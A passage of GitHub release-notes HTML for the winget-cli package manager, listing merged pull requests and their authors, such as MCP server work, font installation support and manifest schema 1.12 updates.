<li>Update detours vcpkg to use prior version by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3244916547" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5601" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5601/hovercard" href="https://github.com/microsoft/winget-cli/pull/5601">#5601</a></li>
<li>Remove TestRelease by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3253760151" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5613" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5613/hovercard" href="https://github.com/microsoft/winget-cli/pull/5613">#5613</a></li>
<li>Handle Byte Order Mark during validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3220923892" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5585" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5585/hovercard" href="https://github.com/microsoft/winget-cli/pull/5585">#5585</a></li>
<li>Initial MCP Server implementation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3250446710" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5610" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5610/hovercard" href="https://github.com/microsoft/winget-cli/pull/5610">#5610</a></li>
<li>Update release notes for BOM Handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3264891691" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5622" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5622/hovercard" href="https://github.com/microsoft/winget-cli/pull/5622">#5622</a></li>
<li>Don't build MCP for fuzzing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3267257548" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5625" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5625/hovercard" href="https://github.com/microsoft/winget-cli/pull/5625">#5625</a></li>
<li>Resolve nuget package graph for .NET projects together by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3274445183" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5627" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5627/hovercard" href="https://github.com/microsoft/winget-cli/pull/5627">#5627</a></li>
<li>Update to latest MCP nuget by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3284768501" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5633" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5633/hovercard" href="https://github.com/microsoft/winget-cli/pull/5633">#5633</a></li>
<li>Update release notes to mention WinUI dependency change by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3315786475" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5656" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5656/hovercard" href="https://github.com/microsoft/winget-cli/pull/5656">#5656</a></li>
<li>Improve COM server quiescing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3311253541" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5652" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5652/hovercard" href="https://github.com/microsoft/winget-cli/pull/5652">#5652</a></li>
<li>Improve issue forms &amp; add corresponding label triggers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mdanish-kh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mdanish-kh">@mdanish-kh</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3319838802" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5661" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5661/hovercard" href="https://github.com/microsoft/winget-cli/pull/5661">#5661</a></li>
<li>Fix conflict with issue forms by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3320119960" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5663" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5663/hovercard" href="https://github.com/microsoft/winget-cli/pull/5663">#5663</a></li>
<li>Improve COM static store usage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3346435528" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5680" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5680/hovercard" href="https://github.com/microsoft/winget-cli/pull/5680">#5680</a></li>
<li>Update schema to 1.12 with Font InstallerType by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3352674785" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5687" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5687/hovercard" href="https://github.com/microsoft/winget-cli/pull/5687">#5687</a></li>
<li>Download MS Store package for target OS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3353562454" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5689" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5689/hovercard" href="https://github.com/microsoft/winget-cli/pull/5689">#5689</a></li>
<li>Fixes for older OSes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3357315204" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5691" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5691/hovercard" href="https://github.com/microsoft/winget-cli/pull/5691">#5691</a></li>
<li>Add RestSource and tests for Manifest v1.12 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3360657592" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5695" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5695/hovercard" href="https://github.com/microsoft/winget-cli/pull/5695">#5695</a></li>
<li>Improve slow searches involving installed items by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3364993234" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5701" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5701/hovercard" href="https://github.com/microsoft/winget-cli/pull/5701">#5701</a></li>
<li>Shorter default installer log filename by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3368313385" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5705" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5705/hovercard" href="https://github.com/microsoft/winget-cli/pull/5705">#5705</a></li>
<li>Add the ARP correlation entry to the context for portable installs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3377690777" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5707" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5707/hovercard" href="https://github.com/microsoft/winget-cli/pull/5707">#5707</a></li>
<li>Fix two unrelated version issues by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3412285391" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5719" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5719/hovercard" href="https://github.com/microsoft/winget-cli/pull/5719">#5719</a></li>
<li>Heal tracking database if it can't open by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3419506355" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5724" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5724/hovercard" href="https://github.com/microsoft/winget-cli/pull/5724">#5724</a></li>
<li>MS Store cert pinning updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3436228691" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5732" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5732/hovercard" href="https://github.com/microsoft/winget-cli/pull/5732">#5732</a></li>
<li>Update MCP GP name by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3446264966" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5736" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5736/hovercard" href="https://github.com/microsoft/winget-cli/pull/5736">#5736</a></li>
<li>Add workflow for automatic issue deduplication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cinnamon-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cinnamon-msft">@cinnamon-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3450208289" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5738" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5738/hovercard" href="https://github.com/microsoft/winget-cli/pull/5738">#5738</a></li>
<li>moving workflow to parent by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/denelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/denelon">@denelon</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3450382277" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5740" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5740/hovercard" href="https://github.com/microsoft/winget-cli/pull/5740">#5740</a></li>
<li>Cache information responses from REST sources by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3424158468" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5726" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5726/hovercard" href="https://github.com/microsoft/winget-cli/pull/5726">#5726</a></li>
<li>Shared build props by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3458857805" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5749" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5749/hovercard" href="https://github.com/microsoft/winget-cli/pull/5749">#5749</a></li>
<li>Improve shared props layout by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3459246168" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5751" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5751/hovercard" href="https://github.com/microsoft/winget-cli/pull/5751">#5751</a></li>
<li>Fix portable path removal on upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3466370013" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5756" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5756/hovercard" href="https://github.com/microsoft/winget-cli/pull/5756">#5756</a></li>
<li>Minor update to release notes for v1.12 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3470589894" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5761" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5761/hovercard" href="https://github.com/microsoft/winget-cli/pull/5761">#5761</a></li>
<li>Font Install, Uninstall, additional Font List by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3187280381" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5566" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5566/hovercard" href="https://github.com/microsoft/winget-cli/pull/5566">#5566</a></li>
<li>Fix install source and final progress by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3474726946" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5764" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5764/hovercard" href="https://github.com/microsoft/winget-cli/pull/5764">#5764</a></li>
<li>Use winrt for time conversion by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3474607043" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5763" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5763/hovercard" href="https://github.com/microsoft/winget-cli/pull/5763">#5763</a></li>
<li>Change label_as_duplicate to false in workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3488439814" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5773" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5773/hovercard" href="https://github.com/microsoft/winget-cli/pull/5773">#5773</a></li>
<li>Remove openssl from sfsclient cgmanifest by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3489513239" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5775" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5775/hovercard" href="https://github.com/microsoft/winget-cli/pull/5775">#5775</a></li>
<li>Add admin check to uninstall of machine font by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3493108538" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5779" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5779/hovercard" href="https://github.com/microsoft/winget-cli/pull/5779">#5779</a></li>
<li>Add Font source group policy support by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3302306142" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5646" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5646/hovercard" href="https://github.com/microsoft/winget-cli/pull/5646">#5646</a></li>
<li>Improve window thread termination by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3497595140" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5781" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5781/hovercard" href="https://github.com/microsoft/winget-cli/pull/5781">#5781</a></li>
<li>Fix portable installer issues when installing to non ascii path by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yao-msft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yao-msft">@yao-msft</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3500476031" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5788" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5788/hovercard" href="https://github.com/microsoft/winget-cli/pull/5788">#5788</a></li>
<li>Remove experimental from Font Install, Uninstall, and source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dkbennett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dkbennett">@dkbennett</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3500835567" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5791" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5791/hovercard" href="https://github.com/microsoft/winget-cli/pull/5791">#5791</a></li>
<li>Update NOTICE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3511592613" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5801" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5801/hovercard" href="https://github.com/microsoft/winget-cli/pull/5801">#5801</a></li>
<li>Update localized strings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3514675035" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5805" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5805/hovercard" href="https://github.com/microsoft/winget-cli/pull/5805">#5805</a></li>
<li>Bump version to 1.28 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3500474102" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5787" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5787/hovercard" href="https://github.com/microsoft/winget-cli/pull/5787">#5787</a></li>
<li>Move to latest 7.4 PS SDK by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3519731252" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5811" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5811/hovercard" href="https://github.com/microsoft/winget-cli/pull/5811">#5811</a></li>
<li>Enable MultiProcessorCompilation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3512401468" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5804" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5804/hovercard" href="https://github.com/microsoft/winget-cli/pull/5804">#5804</a></li>
<li>Remove mention of WinGet Insider program from the README by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3558459633" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5832" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5832/hovercard" href="https://github.com/microsoft/winget-cli/pull/5832">#5832</a></li>
<li>Ignore ReleaseStatic outputs and clean intermediates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3572615072" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5848" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5848/hovercard" href="https://github.com/microsoft/winget-cli/pull/5848">#5848</a></li>
<li>Make Repair-WGPM a COM-aware cmdlet and rework version retrieval by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3568289044" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5842" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5842/hovercard" href="https://github.com/microsoft/winget-cli/pull/5842">#5842</a></li>
<li>Unregister signal handler by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3593025660" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5861" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5861/hovercard" href="https://github.com/microsoft/winget-cli/pull/5861">#5861</a></li>
<li>Support associating export units with packages in subdirectories of install location by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3588654688" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5859" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5859/hovercard" href="https://github.com/microsoft/winget-cli/pull/5859">#5859</a></li>
<li>Send host geo to sandbox by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3617875168" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5873" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5873/hovercard" href="https://github.com/microsoft/winget-cli/pull/5873">#5873</a></li>
<li>Update C++ nuget package references using new scripts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623390985" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5877" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5877/hovercard" href="https://github.com/microsoft/winget-cli/pull/5877">#5877</a></li>
